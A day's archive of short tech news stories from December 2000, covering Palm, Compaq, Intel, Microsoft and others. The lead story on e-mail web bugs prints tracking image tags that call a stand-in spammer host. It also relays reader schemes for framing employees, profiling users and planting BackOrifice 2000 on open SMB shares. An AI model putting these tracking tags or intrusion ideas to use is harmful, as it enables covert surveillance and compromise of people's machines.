13th > December > 2000 Archive

Fun with Internet bugs

In a recent story we expressed scepticism over claims that the famous HTML bug - an invisible one-pixel image embedded in an HTML document or e-mail message referencing another image on a remote server - could be used for more than verifying e-mail addresses and garnering IPs. We asked our readers to suggest more malicious uses, and while all agreed that this bug is rather limited (a mere spanner in the toolbox, so to speak), two produced ideas which we hadn't thought of, and which are, we have to admit, a little scary. First, to use the bugs for e-mail verification, one might use a simple script to deliver the messages, each containing a unique ID number corresponding to an e-mail address in an existing database. The victim's e-mail client would call the 1x1 transparent GIF thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/e-mail.cgi?uniqueID#" >. The e-mail.cgi then creates a new database of good e-mail addresses, the IPs used, etc., based on the unique ID number. For a somewhat more direct approach, a simple query can be employed thus: < img src="http://www.dirtbag-spammer.org/cgi-bin/verifyme?r00tarded@luser.edu" > or perhaps < img src="http://www.dirtbag-spammer.org/web-bug.gif?address=r00tarded@luser.edu" >. Any e-mail opened would request the URL, and the e-mail addresses and IP numbers can be parsed and stored in a database. Another use for the HTML bug is to track the distribution of documents within a company, e.g., a job-hunter distributing his resume. Everyone who opens the document will automatically connect quietly to the server where the image is stored, and server logs will show who did so. For a very sweet dirty trick along those lines, one could embed a link to a porn picture on-line, resized at 1x1 so it's invisible in the e-mail. Network logs will show that a given employee requested, say, preteen_bestial.gif from www.loathsome-sex-offenders.com. Even better, if the company has spyware in place, the jack-booted network thugs won't even have to be notified by the trickster before grassing him out to senior management. Honourable mention goes to Stefan for noting that cookies can be used and referenced with both e-mail addresses and with records easily purchased from consumer profiling outfits, to associate not only the e-mail with a living person and their real-life address, but also to track them on the Web. "By placing the server that delivers the image in the same domain as, say, a banner ad network, it is possible to access the users cookies set by the ad network and thus associate a hitherto anonymous user profile with a working e-mail address. A lot of the Web bugs out there are already placed by or on behalf of well-known ad networks who hire "image space" on spam lists for this very purpose," he writes. "Put this together with the data that can be purchased from a number of data mining outfits who specialize in deep geographical user profiling, and something as seemingly harmless as a 1x1 pixel image embedded in a mail message can be used to associate a Web sites visited by a user with a street address. In today's world of personalized e-commerce, such knowledge is worth serious money." Nice one, that; but the coveted Register t-shirt goes to PinkFreud for this deliciously malevolent suggestion: "Post a message on USENET with an IMG tag which points to a CGI script which returns a one-pixel image, while logging the IP as well as scanning for open, writable SMB shares, onto which one might, say, copy BackOrifice 2000 (C:\ share?). Installing it shouldn't be too hard - modify one of a few possible Windows files, and it should be installed on the next boot. Make it a bit more sophisticated, and the victim's system can e-mail you its IP address the next time it's on line." Now that's what we call evil ingenuity. We knew our readers wouldn't let us down. ® Grateful thanks to: Steven Hunter, Anthony Awtrey, Michael Herf, Karsten Self, Michael Ax, Colin Percival, David Lancaster, Rick McTeague, Alexis Rosen, Ray Shaw, Mark Yen, Steven Critchfield, PinkFreud, John Swindle, Martin Burns, Nathan Jones, André Mariën, Richard Parrott, Will MacDonald, Com2Kid, Matthew Duggan, Brian Baker, Russ Davies, Alan Frame, Justin Murdock, Daniel Barlow, Stefan, Mark Powell, Daniel Brandt, Jethro Brewin, Andrew Gallagher and two anonymous readers for their excellent submissions. Related Link Further details from the Privacy Foundation
Thomas C Greene, 13 Dec 2000

Palm signs Samsung for smartphones, unveils OS 4.0

Palm unveiled a major new OS revision and announced Samsung as a phone licensee at its PalmSource developer conference today. The Korean giant will ship a CDMA smartphone "mid to end Q2" next year, Samsung executives told us. They made no commitment to producing a similar GSM capable model. Palm has already signed deals with Kyocera (which acquired Qualcomm's handset division), Motorola and Nokia to produce smartphones, although the latter uses the guts of Symbian's EPOC with the Palm user interface on top. We had a look at a rather nice prototype of the Samsung device, the result of nine months collaboration between the two. Samsung already ships what it describes as a CDMA "smartphone", the SCH-i210, although the 120x240 pixel display isn't really a match for Nokia's Communicator phone. The new device will use a standard audio headset, but not be capable of using a wireless Bluetooth earpiece. Hard and soft decisions Officially Palm won't commit to the "ARMball" platform Motorola announced on Monday: that's an ARM core with support for Dragonball peripherals. "We've nothing to announce," said Palm CTO Bill Maggs, but again promised that we'd see ARM-based Palms in 2002. What we did see - and left us slightly underwhelmed - was PalmOS running on a 68000 emulator on an ARM board. Since it used Cirrus Logic chips to drive the graphics, it's conceivable that Palm is lining up various ARM licensees - of which Motorola is merely the latest - in a beauty contest to determine the best price. Running what, exactly? PalmOS 4.0 got its first airing yesterday, adding the very basics, such as a file system (yes, you read that correctly) to allow a range of removable devices), new APIs for telephony, and user notifications. So the really big bang won't come until version 5.0 - date to be determined. With version 4.0 expected for mid to late next year, that leaves PalmOS 5.0 on ARM at least 12 months behind that. Clearly Carl Yankowski, at his first PalmSource as Palm CEO since joining from Reebok a year ago, thinks time is on his side. "A lot of the hype about high speed networks is out in front," he said yesterday, suggesting that the infrastructure could take as long to roll out as High Definition TV. He's quite right: networks are invariably late. But then so too - as anyone on this side of the pond can confirm - are phones. ® Related Stories Samsung demos MP3 cellphone Samsung designs Palm-style colour ARM-based Linux MP3 PDA
Andrew Orlowski, 13 Dec 2000

Toshiba squares California with $30m ‘fine’

Toshiba has stumped up $30 million to settle claims from a clutch of California state agencies which bought laptops containing faulty floppy disk controllers from the company. This is bad news for Toshiba - and its shareholders. In January, the company shelled out $2.1 billion to satisfy product liability claims that it knowingly sold notebooks containing the defective component. That seemed like a pretty enormous settlement at the time. And its sheer size seemed to indicate finality. But the California deal indicates that other organisations could be lurking in the woodwork. Toshiba sold five million PCs containing the floppy disk controller since 1985. The defect meant that data was sometimes lost or damaged when transferred from a hiard drive to a floppy disk. Toshiba continues to deny accusations that it knew of the problem. ®
Drew Cullen, 13 Dec 2000

Compaq joins profit warning parade

Compaq, the world's biggest PC maker, is the latest tech firm to issue a profits warning. And once again (viz. Gateway, Apple, Intel, AMD, world+dog) it blames the lack of consumer buyers in America. Big Q says it will undershoot previously announced sales targets by eight to ten per cent - it estimates it will now generates sales of $11.2-11.4 billion in Q4. Analysts polled by First Call reckon profits will now be 28-30 cents per share, compared with the previous consensus of 36 cents per share. In a conference call, Compaq CEO Michael Capellas said that problems surfaced only in early December. "October looked good. In November we were still on track." Typically, December accounts for 45 per cent of Compaq's Q4 sales - as retail customers make their Christmas purchases. So what's gone wrong this year? If it's computer saturation in American homes, then the PC makers and their component suppliers are in big trouble. But if it is, as some Reg readers suggest, a temporary case of retail FUD in the aftermath of a very messy election, then the Supreme Court annointment of Gush or Bore, will see America return to business as usual. Compaq reckons it will get back on track next year, forecasting ten per cent higher revenues in 2001. With its corporate customers, big service busines and huge global footprint, Big Q remains better off than just about any PC maker. ®
Drew Cullen, 13 Dec 2000

World citizen Intel sued in diversity case

Intel is being sued by Webhire Inc, a firm which describes itself as the "number one choice" in recruiting solutions. The federal action, filed in the US District Court for the District of Massachusetts - that's Boston to you and me - alleges that Intel breached a contract it had with Webhire. The case was filed on Pearl Harbor Day. Webhire wants Judge Rya W Zobel, who will preside over the jury case, to award it $150,000 in damages. The case has been brought under Statute 28:1322, a rather obscure piece of legislation for us Brits, but which seems to allow multinationals like Intel to be treated as individual citizens. Intel will not comment on matters of litigation unless it feels like doing so. ®
Mike Magee, 13 Dec 2000

Rambus over-priced, over-specced and over there

Kingston Technology, one of Rambus' major partners in the market for PC memory, has confirmed what we all know, or rather suspected: that RIMMs are still highly overpriced, selling for two and a half times the price of SDRAM. SDRAM prices have plummeted over the last two weeks, Kingston said. A source at Kingston's HQ in Irvine told The Register today that while it still believed the technology was technically superior to anything else on offer, the price of the RIMMs was still far too high for most distributors and dealers to swallow. Yields, however, are vastly improved since January of this year, when Kingston criticised Rambus' high specs. Luckily, the Kingston source said, the memory company has not bet the ranch on Rambus memory for the PC and will manufacture double data rate (DDR) memory or anything else that manufacturers care to stuff inside PCs. Nor, he added, will sales of the Pentium 4 remedy the situation, at least in the short term. Sales of that microprocessor are, so far, not buoyant. Intel will refuse to comment on sales of any given microprocessor, so there's little point us calling them just to get the 'no comment'. ® Related Story Kingston takes stance on Rambus affair
Mike Magee, 13 Dec 2000

Iridium boss targets bulk buyers

Iridium Satellite, the new owner of the space-based comms network left behind after the original Iridium collapsed, has begun lining up deals with governments and service providers throughout the world now that its key foundation contract has been signed, the company said yesterday. The company is talking to agencies in Russia, China and India, said chairman Dan Colussy, according to Reuters, and has begun negotiations with comms operators in Southeast Asia, the Middle East, Latin America and Africa. And with the network of 66 functioning satellites secured, IS has plenty of airtime to begin selling bulk subscriptions - and to begin selling them quickly if it wants to avoid the fate of its predecessor. IS has the advantage of being saddled with nowhere near the debt Iridium was saddled with. Iridium owed $5.5 billion for the construction, installation and maintenance of the network - IS picked it up for just $25 million. Still, it is having to pay out around $7 million a month to keep the satellites maintained and to keep its own business functioning. Boeing is doing the maintenance work - and clearly charging rather less than the $10 million a month Motorola was asking from Iridium. Central to IS' successful bid for the satellite network was securing the backing of the US Department of Defense, from which it won a three-month, $9 million contract last week. That is expected to be extended over the next two years, in a deal worth a total of $27 million. Colussy said IS is looking to sign similar deals with other governments, corporates and organisations. The plan is to focus on bulk sales - the US DoD contract will provide airtime for 20,000 users. That not only brings in far more money up front, but it will help IS offer much lower call charges than its predecessor, with a more individual focus, could. Iridium charged $7 a minute - IS wants to charge under $1.50. Cutting the cost of airtime is essential to winning business from other satellite comms companies. Of course, handset size remains a problem, but IS' focus on developing world should ensure it doesn't have to worry too much about finicky westerners used to ultra-compact mobile phones. IS plans to launch 12 new satellites from March 2002, to provide back-up for the existing network. Building and launching satellites isn't something you can do on the cheap, so IS clearly foresees building up sufficient business to secure loans on the sums required by that time. ® Related Stories Iridium threatened rain of terror Iridium satellite crashes over Arctic Sailors to use IridiumUS Govt backs Iridium relaunch Iridium back from the dead
Tony Smith, 13 Dec 2000

Obsessed, death-threat emailer to go down

A Portsmouth man was found guilty yesterday of threatening to kill an American woman he met online. Paul Clark, an electronics engineer, became obsessed with Brandy Arnett after chatting with her via email. When he discovered she was already married he became enraged and started sending her threatening emails. In one, he said: "You have signed your own death warrant. I have contacts in the US who will gladly carry out the task of terminating you." He was convicted on two counts of making threats to kill, an offence that carries a maximum sentence of ten years. He was also accused of soliciting to murder, and was alleged to have set up a Web site offering $25,000 to anyone who killed Arnett and her husband. However, he was cleared of this charge and told the jury that it had been intended as a hoax. He said: "I didn't intend her to believe the threat would be carried out. It was just tit for tat. My intention was to create a hoax page pretending to arrange a contract killing." The jury at Winchester Crown Court found Clark delivered its verdict by a 10:2 majority. Clark is due to be sentenced on 21 December. ® Related Story Wanted: One contract killer
Lucy Sherriff, 13 Dec 2000

CenterSpan snaps up Scour for $9m

Liquid Audio and Listen.com were both outbid yesterday for the remains of failed movie sharing and Net search company Scour.com. The winner: CenterSpan Communications, with a $9 million in a mix of cash and stock. The deal, made up of $5.5 million in cash and $3.5 million in CenterSpan shares, simply covers Scour's technology - CenterSpan takes on none of the failed operation's $4 million debt or the damages it may have to pay out after losing the copyright infringement case that arguably finished it off. Scour will use the money to pay its creditors. Before CenterSpan was awarded Scour's technology by the US bankrupcty court, Liquid Audio dropped out of the bidding, having joined the auction only late last week. "We did due diligence and didn't think it was worth that much [$7.5 million, the figure above which the company would not go]," said Phil Wiser, Liquid Audio's CTO. Listen.com, the buyer favoured by Scour's board, went to $8.5 million, but no more. CenterSpan will incorporate Scour's Scour Exchange movie sharing system into the secure, legal digital distribution system that it's been working on for some time and plans to launch early next year. The company's CEO, Frank Hausmann, said the deal put CenterSpan on a par with the Napster-Bertelsmann alliance, but we do think he's stretching the point somewhat. Hausmann said he has been talking to movie and music companies, but he didn't say who, or how successful those negotiations had been. Without such partnerships - and big-name ones at that - CenterSpan will have a long way to go to match the quantity of content and the entré to other major labels the deal with media giant Bertelsmann gives Napster - provided it clearly demonstrates it's going legitimate. For its part, CenterSpan has to demonstrate not only its secure sharing system but that it has content that punters will actually want. ® Related Stories Liquid Audio wants Scour.com tech Scour to stop Napster-style movie sharing service MPAA, RIAA sue Scour over copyrights
Tony Smith, 13 Dec 2000

Athlon, Duron get new mobile chipset

VIA has added PowerNow! support to its Apollo KT133 chipset, ready for the launch of AMD's Palomino and Morgan mobiles next year. The KT133A is pin-compatible with its predecessor and supports both 200 and 266MHz FSB. The mobile Athlons and Durons are due in the first half of 2001, but the KT133A is also suitable for desktop applications. It supports Socket A Athlon processors with a 266MHz Front Side Bus running at speeds of 1, 1.13, and 1.2GHz. The Apollo KT133A is a two-chip set, consisting of the 552-pin BGA VT8363A North Bridge and a choice of the 352-pin BGA VT82C686A and VT82C686B South Bridges. It supports up to 2GB of 100/133MHz SDRAM and VCM memory, and includes a 200/266MHz FSB and AGP 4x. The chipset also features four USB ports, PCI 2.2 and ATA 33/66/100. Additional features include an integrated AC-Link for AC-97 audio and HSP modem, integrated super I/O and hardware monitoring, and integrated KBC and RTC. TSMC manufactures the chipset in a 0.35 micron, three metal layer process. It is currently in volume production and priced at $34 in OEM quantities. ®
Andrew Thomas, 13 Dec 2000

M$ signs Electronic Arts for Xbox

Microsoft has improved Xbox's chances in the videogame console league by signing Electronic Arts, the world's leading independent PC and PlayStation games developer, onto the team. Of course, nothing comes for nothing, and clearly some of Microsoft's extensive Xbox budget has been spent persuading EA to join it. Neither Microsoft's Xbox chief, Robbie Bach, nor EA head Larry Probst would discuss the financial terms of the two companies' alliance. Rumours that they were in talks have circulated for some time. Bach admitted, according to Reuters, that "we've been working together really since the beginning. EA was one of the first we briefed on our thinking". That really shouldn't surprise anyone, given EA's status in the games market. The company is an important player to have on your side, so Microsoft has no doubt been chasing this one for some time. That said, Microsoft already has some 200 games developers signed up, including the world's second biggest independent developer, Activision, so it's not like it needs EA. Some 18 of them are working on exclusive Xbox titles. However, every little bit helps, and EA's sports games will be particularly welcome among the Xbox stable of titles. Microsoft has also been acquiring smaller developers, such as Bungie and, more recently, Digital Anvil. EA doesn't really need Xbox either, which no doubt explains the caution behind its Xbox roll-out plan. It will offer ten Xbox titles on or within six months of the console's retail debut, currently set for late 2001. Further titles are contingent on Xbox proving what it can do in the market. "If any platform is successful then we will support it fully,'' Probst said. Of course, EA is also a PlayStation developer, and will no doubt be working on PlayStation 2 titles too. It clearly doesn't want to sour its relationship with Sony. Then again, we hear it has been hit financially by the slowdown in PC sales as gamers wait to see what PlayStation 2 can do, a wait exacerbated by the supply problems Sony is having. EA isn't alone here - other games companies, such as the UK's Eidos, have at least in part blamed recent financial troubles on PlayStation anticipation. ®
Tony Smith, 13 Dec 2000

Register launches VultureFone™

How's this for a Christmas treat? Want to give your mobile phone that Register touch? Then customise your phone with your favourite newssite's Vulture logo. Those clever guys at WapMX, one of the UK's leading WAP and SMS developers, have put together a way of beaming the Reg logo via SMS. You can send the logo to your phone as your handset's operator graphic - it gets rid of Orange's, Cellnet's, Vodafone's et al's logos and make it look like The Register is your cellular provider! We're not, of course - that's just the way it looks on screen. Just enter your details below, and make your selection, and click on the 'Registerise' button. Please note that the service only works with Nokia phones, and you use it entirely at your own risk. If you're in any way worried about the service's effect on your phone, or you don't want the logo, don't click the button. When the logo is sent, your phone will beep and ask you to save, view or discard the new logo. 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Tony Smith, 13 Dec 2000

MS coughs up $97m to settle permatemp case

Microsoft has agreed to cough up $97 million to settle its long running legal dispute with the "permatemps." A lawsuit on behalf of these workers, many of whom had held down "temporary" jobs at Microsoft for years, was filed against the company in 1992, and has been cranking through the system ever since. Long-stay temporary workers have been common in the computer industry, the big advantage for the companies employing them being that they don't qualify for the same terms and conditions as permanent staff. In Microsoft's case the temps were missing out on quite a lot by not having access to the employee stock purchase plan. This might not have been a massive advantage recently, but for most of the period of the lawsuit it's been a nice little earner. Something between 8,000 and 12,000 people who worked for Microsoft in the period from December 1986 to June of this year are thought to be covered by the settlement. When it became apparent that it was on a loser earlier this year, Microsoft changed it policy on temps, effectively shutting the door on future claims. The company still employs temps, but insists they take a hike for at least 100 days after they've worked for 364. Officially it's altering the balance in favour of more permanent staff, but internal documentation seen by The Register earlier this year suggested it was pressuring its managers to keep temps temporary, and not to give them permanent posts willy-nilly. ® Related Stories MS casts its 'permatemps' into outer darkness Micro$oft to sack temp workers after one year
John Lettice, 13 Dec 2000

Shatner to boldly leave Priceline

William Shatner of Star Trek fame has parted ways with online reverse auction house Priceline.com following a share dive that has seen the value of his holding plummet from £10 million to £155,000. Mr Shatner was a well-known frontman for the company and did a range of commercials and voiceovers for which he was paid in stock. The commercials, in which he parodied himself as a folk crooner, have been variously described as "memorable", "well-received" and "f**king awful". Not that he's entirely stupid - Will managed to sell off 35,000 of his 125,000 shares when the share price was a little healthier and is £5.5 million better off for it. Not bad for an old man living off a character he played aeons ago - especially one who admitted he never uses Priceline anyway (don't do first-class plane tickets, see). What else do you want to know? Yes, Priceline is still in all sorts of trouble. Shares currently stand at $2.22, a bit of a drop from the high of $162 last year. Er, it failed in its lastest bid for funding and so had to cut jobs. Its CFO - formerly a top exec in Citigroup - quit last month. General doom and gloom. However we do have to give special praise to The Times' New York correspondent. Any story on William Shatner would obviously not be complete with a mention of his stunning spoken-word album The Transformed Man. We won't go into any further detail or we'll be here all day. However, we were most impressed with this beautifully constructed sentence from the Times story: "His uniquely tortured and Shakespearean interpretation of Mr Tamborine Man has attained cult status among young people with too much spare time." Nice job. ® Related Stories Priceline founder cuts 100 staff at other venture Priceline.com CFO quits and staff face axe Wall Street savages Priceline.com
Kieren McCarthy, 13 Dec 2000

We Asked Jeeves why it sacked 180 people

Ask Jeeves said yesterday that it would shed 25 per cent of its workforce - around 180 jobs - as part of a restructuring plan that would save it $45 million. The company is expected to take a charge of between $10 million and $12 million for the reshuffle. Interestingly enough, if you go to the AskJeeves site and ask Jeeves why it laid off 180 people, it offers advice on how to legally fire an employee... which is nice. New York-based Web consultancy Razorfish has unnerved analysts by forecasting a loss for the fourth quarter. The company now expects revenues of $50 million, down from previous estimates of $82 million. The warning was issued after trading stopped yesterday. AIM-listed e-district.net plc said today that its results for the year ending 31 December 2000 are expected to be in line with market expectations. The figures have been driven by an increased demand for advertising sales during the pre-Christmas period. The Financial Services Authority (FSA) has slammed online share trading sites for confusing punters with complex fee systems. The watchdog made its remarks after research from Ecom revealed online fees can knock off up to ten per cent from the value of investments over a year. It said sites needed to make the charging systems more transparent. ® They said it couldn't be done. Cash Reg proves they were wrong
Team Register, 13 Dec 2000

EOEPOEUROIPO

NewMedia SPARK today said that EO, its online share distribution platform for retail investors, is to acquire the Swedish online retail IPO outfit, EPO.com, for an undisclosed sum. The all-share deals values EO shares at £1.50 each. All we have to do now is find out how many EO shares there are out there. To date, EPO has had a much bigger IPO deal flow than EO, but it has sold out to EO, backed by a rich parent, in preference to trying to raise new money. There's plenty of opportunity to cut costs - for instance, is there really a need for two news teams (Come to that, is there really a need for one news team - why not buy in from Netimperative, or some other money news organisation?). The EOEPO.combine will be the biggest online purveyor of IPOs in Europe - it needs scale to attract a full pipeline of quality issues - easier said than done, given today's appetite for flotations. The companies boast of their partnerships with a clutch of personal finance and share trading Web sites - but life would become a lot less volatile, if EOEPO.combine broadened its product portfolio, along the lines of, say, Investor Interactive International, the UK's biggest personal finance site ®
Drew Cullen, 13 Dec 2000

Class action tilts at NSI domain name hoard

Aggrieved wannabuy domain name punters are invited to join a lawsuit to force Network Solutions International (NSI) to release its hoard of expired and pdomain names. Hare, Wynn, Newell & Newton (HWN&N) is seeking affidavits from people who have unsuccessfully tried to register expired domain names with Network Solutions. The statements are needed in order to take forward a class action lawsuit against the domain registrar. Aggrieved users have until 20 December to register their complaint, under the tight deadline the court has set for a motion of class certification to be filled. Information on how to file a complaint is available online here. A class action suit was filed on 29 September in Alabama by HWN&N against Network Solutions after the registrar had refused to release Web site domain names whose ownership licenses had legally expired to a local businessman. It is alleged that beginning in May, Network Solutions refused to delete expired names from its central WHOIS registry database - a move that prevented anyone else making use of these domains. At the time the former monopoly said it would auction these domains on its site. But its failure to set this up, and consult about the auction idea, led to anger in the Internet community and accusations of illegal hoarding from rival registrars and others. Some estimates put the number of expired names withheld by Network Solutions as between one and three million but the exact figure remains uncertain. ®
John Leyden, 13 Dec 2000

Pentium 4 Linux problem all Chipzilla's fault, apparently

Intel seems to be largely to blame for the fact that many Linux distributions won't install on the Pentium 4. According to the latest Linux 2.2.18 kernel notes, Chipzilla's big mistake was to break the usual pattern in CPUID model numbering without telling people - or at least without telling them loudly enough. According to the notes: "Intel chose to ignore all precedent in model numbering via CPUID and report a family of '15'. This sudden jump broke assumptions in the kernel tree without any warning." Intel doesn't appear to have sent notification of the changes to the kernel mailing list, but seems to have failed to do this through dumbness rasther than malice. More than two years on from the commencement of its Big Linux Adventure, Chipzilla seems not altogether to have grasped how Linux development works. "Intel have failed to provide good reasons for their change," the notes say disapprovingly: "We have chosen to continue to report the Pentium IV as a '686' class processor." So there. The kernel notes also include another small Linux-related P4 alert. There seem to be problems with earlier P4 chips, and anybody wishing to run Linux on a P4 should use stepping 7 or higher, with the latest shipping microcode update. Meanwhile, SuSE has joined Red Hat and TurboLinux in the P4-able Linux camp. The company said yesterday that it has integrated backward-compatible Pentium 4 recognition in the kernel in SuSE Linux 7.0. You can get a boot disk image of the kernel here. Related Story Linux lacks P4 support - nobody at all dead
John Lettice, 13 Dec 2000

Govt slags off Oftel – between the lines

Trade and Industry Secretary Stephen Byers delivered a a vote of no confidence in the telecoms regulator yesterday following the announcement of the shake up of the communications industry and the creation of a new super regulator, Ofcom. In a statement Byers said: "We now live and work in a new world where TV, telecoms and the Internet are no longer separate. These proposals illustrate how we can together take advantage of the new opportunities that are opening up for us all. "This lighter touch system of media and communications regulation reflects the Government's vision of industrial policy based on skills, innovation and enterprise. "In particular the proposed reforms of the telecoms sector will offer regulatory stability combined with effective competition providing a spur for firms to innovate, increase productivity and compete in a global market place." That last sentence is another body blow to an already feeble regulator that has consistently failed to serve the industry. "...the proposed reforms of the telecoms sector will offer regulatory stability combined with effective competition" - why would Byers say this if the telecoms sector had not been offered "regulatory stability combined with effective competition". In effect, Byers is saying that the telecoms sector has not had regulatory stability and effective competition. To single out Oftel - it's clear what Byers thinks of Oftel and its cosy relationship with BT. A spokeswoman for the winged watchdog refused to be drawn on the criticisms. She insisted: "Oftel believes it has done - and continues to do - a good job of regulating the telecoms industry." Well, once again we find Oftel is out of touch and on its own. It's clear there is no place for Oftel as Britain strives to be at the "cutting edge of the world-wide revolution in communications", as Culture Secretary Chris Smith, said yesterday. The concern now is that Byers' statement isolates Oftel still further, making it even more of a lame duck outfit than before. ® Related Link The Communications White Paper Related Stories Govt announces creation of super comms regulator Oftel signs own death warrant
Tim Richardson, 13 Dec 2000

Xmas draw – time's up

It's been quite a fortnight in the Vulture Central competitions department. Thousands of Reg readers finally entered our monumental prize draw already, and we've now got to pick some winners. We have been kept hugely entertained by the numerous miscreants who have submitted multiple entries. Last week, Benjamin Knigge and Martin Gonzalez earned themselves a red card with a combined total of 88 submissions. But there's more bad news for Señor Gonzalez. Despite protesting his innocence, further investigations revealed that a Mr Washington Gonzalez made an entry from the same IP address moments after Martin's 50 submissions. Coincidence? No - they both used the same incorrectly-typed domain. Oh dear oh dear. Mr Gonzalez, in addition to disqualification and an order not to read theReg for a year, you are also banned from keeping a dog for 18 months. That'll learn ya. Sadly, the list of shame does not end there. Mr E Kuhn spread four entries over three days. He then entered for a fifth time as 'Mr.' E Kuhn, clearly thinking that adding a full stop in his title would fool us. Didn't though, did it? Bob Murphy first submitted on 6th December with a plausible Canadian e-mail address. He attempted to sneak in another on the 13th. He might have got away with it had he not just given 'm' as his e-mail address. Kurt Engelken thought that waiting a day and giving a different e-mail address would increase his chances. Dave Bert waited an impressive four days, entering from two different IP addresses. All of you are grounded. Go to your rooms and don't come out until we say so. Good luck to all of you who entered. We'll be announcing the winners on Friday ®
Lester Haines, 13 Dec 2000

Britain the best Net country in Europe

We don't like surveys, but when two of our favourites - Forrester and MMXI - tell us that Britain is leading the way in Europe when it comes to the Internet, we forget our pervasive cynicism and put on the patriotic hat. Because that's just what the good ole UK is doing. We have 12.5 million people connected to the Internet, says MMXI, bashing the Boche into second place with 11.3 million surfers. Of course, Forrester's figures are totally different but still show the same trend. According to Forrester, 51 per cent of the UK population "has access" to the Internet and 15.4 million of us are regular users. The gender war (yeah, we know it's not a war, but that's what you have to write if you're talking about men and women) is also being won. MMXI says that we are only behind Sweden in terms of equality: 57 per cent of UK folk online are men (43 per cent women, obviously). Forrester is having none of it - women make up 46 per cent of surfers it insists. What about where they don't disagree (because the other hasn't covered it)? Forrester: 91per cent of those polled have checked out some kind of goods/services online. British Net users are also more willing to buy online than our European cousins (48 per cent up from 38 per cent last quarter). "The UK Internet is no longer a hobby for a sophisticated, wealthy and educated male elite," said William Reeve, group director of Forrester's European Data section. "The UK Internet has become a truly mass information, communications and entertainment medium. Internet usage" etc etc etc. Funny thing is, at least according to MMXI, that us Brits use the Net, on average, less than everyone except Spain - nine days a month, apparently. But then this is obviously a by-product of having a lot of people online - some will only dabble every now and again. So there you go. Rule Britannia and all that. ®
Kieren McCarthy, 13 Dec 2000

Software fault forces Ford recall

Car giant Ford has instigated a recall of 110,000 Explorer and Mountaineer sport utility vehicles because of a programming glitch in the car's cruise control equipment. A month ago, Ford denied claims in a UK TV show that cruise control problems had caused a number of Explorers to accelerate suddenly without warning. At the time, the company blamed the problem on floor mats becoming entangled with the throttle pedal. The Channel 4 programme, broadcast on 15 November, alleged that in 1998, British motorist Chris Merrick had died when his Explorer ran out of control and that a number of US motorists had also fallen victim to runaway Fords. At the time, Ford said it there was no evidence of engine controls being to blame for 'unintended sudden acceleration' or faults with cruise control systems. It admitted that complaints about the vehicles not slowing as expected had prompted a recall in 1998, when incorrectly fitted floor mats beneath the pedals were replaced. Today, Mike Vaughn, a spokesman for Ford in Detroit, told The Register that the programming of a chip in the powertrain control module was suspect. "In this case, it is the way it was programmed, not the way it was designed or manufactured," he said. "The fix is simply to reflash or reprogram it at the dealer." The Explorer was also involved in a number of fatal accidents caused by the failure of Firestone tyres, which are also subject to a recall. The cruise control was intended to limit the vehicle's top speed to 100mph, the Firestone tyres being rated safe up to 106mph. The software fault could have allowed this maximum speed to be exceeded. Vaughn added that Ford was not aware of any crashes, tyre-related or otherwise, that had been caused by the defective software. ®
Andrew Thomas, 13 Dec 2000

Intel Irish fab to slip a year

UpdatedUpdated Chipzilla has delayed starting production at its new Fab 24 in Leixlip, Ireland, by 12 months to the second half of 2002. Plans for the $2 billion, 135,000sq ft fab were unveiled in June when it was announced that the factory would be used principally to build Pentium 4s on a 130nm process. But a slump in chip demand has given Intel the opportunity to delay the scheme which will allow the company to start production on 300mm wafers from day one rather than starting at 200mm and re-tooling later. Intel's first 300mm plant, Fab 11X in New Mexico, is also on schedule to begin operations towards the middle of 2002. When complete, Fab 24 is expected to create over 1000 new jobs in the Dublin area. There are currently 3300 Intel employees in Leixlip with a further 1400 in permanent employment with long-term subcontractors. ® More fab details Intel 0.13 micron fab online next year
Andrew Thomas, 13 Dec 2000

Amazon in BSA anti-piracy love in

The Business Software Alliance has issued an anti-piracy code of practice for Internet auction sites and has awarded its first merit certificate to goody two-shoes Amazon.com. "It is always a deep honor to be recognized for the thing we care about most - the customer experience," gushes Amazon spokeswoman Patty Smith, who's certainly changed her tune since making the seminal album Horses. The BSA has been getting increasingly exasperated with auction sites for their failure to police bootleg sales. It estimates that up to 90 per cent of software sold on auction sites is hooky and in November, it filed suit against 13 counterfeiters for for parading their warez variously on eBay, QXL and Yahoo!. The BSA model code of practice will see auction sites (if they fall into line) prohibit sellers from offering infringing software Take responsibility for keeping illegal software off their site, including actively reviewing their site to identify and promptly terminate infringing auctions Respond quickly and effectively to reports of infringing auctions Post prominent educational messages on their site ® Related Stories Real IRA gets into computerpiracy BSA swoops on auction site pirate eBay, QXL hit in piracy swoop Rogue ISPs are pirate havens QXL fined £34,000 for dodgy software
Drew Cullen, 13 Dec 2000

Blackmailer posts credit card details on the Net

A computer cracker lifted 55,000 credit card numbers from Creditcards.com and then posted the information on the Internet after an unsuccessful attempt to blackmail the credit card processing firm. The New York Times said it had been told by "a person close to the investigation" that an intruder contacted Creditcards.com after breaking its site, and after a demand for money was refused, published the credit card data on the Internet earlier this week. A spokesman for Creditcards.com, Laurent Jean, told the New York Times, "We are aware of the issues and understand their severity, and also are in contact with the FBI." Details of the three sites which carried the credit card information, which have since been pulled down, were included in a widely circulated email. This email, which had a spoofed address so that it appeared to come from Microsoft, mocked the security of Creditcard.com and described it as today's "TOP Unsecure Company". The email said: "We represent a group of experts trying to save you from companies, which do not care about their clients. For your attention we have designed the 'Never trust companies' list." The message, which is signed by the previously unknown L33chWareZ haCkInG Gr0Up, adds: "Any simple hacker can get into Creditcards.com where your confident information stored." US reports suggest that the Creditcards.com site was broken into four months ago but despite this the firm failed to notify individual card holders that their details might have been compromised. Los Angeles-based Creditcards.com sets up merchants accounts that allow businesses to accept payment for ecommerce transactions via credit cards. Customers need not have visited CreditCards.com to have become the unwitting victims of the incident, anyone who used an affiliated merchant (a list of which was removed form CreditCards.com site but available here, could also have had their credit card details compromised. The case is not the first time extortionists have targeted web sites they have successfully broken into. In January a Russian cracker who claimed to have stolen 300,000 credit cards from CDuniverse.com posted their details on his site after unsuccessfully demanding $100,000. Credit card issuer Visa was itself subject to a £10 million extortion attempt by what were believed to be British hackers. ®
John Leyden, 13 Dec 2000

Super regulator won't censor Net

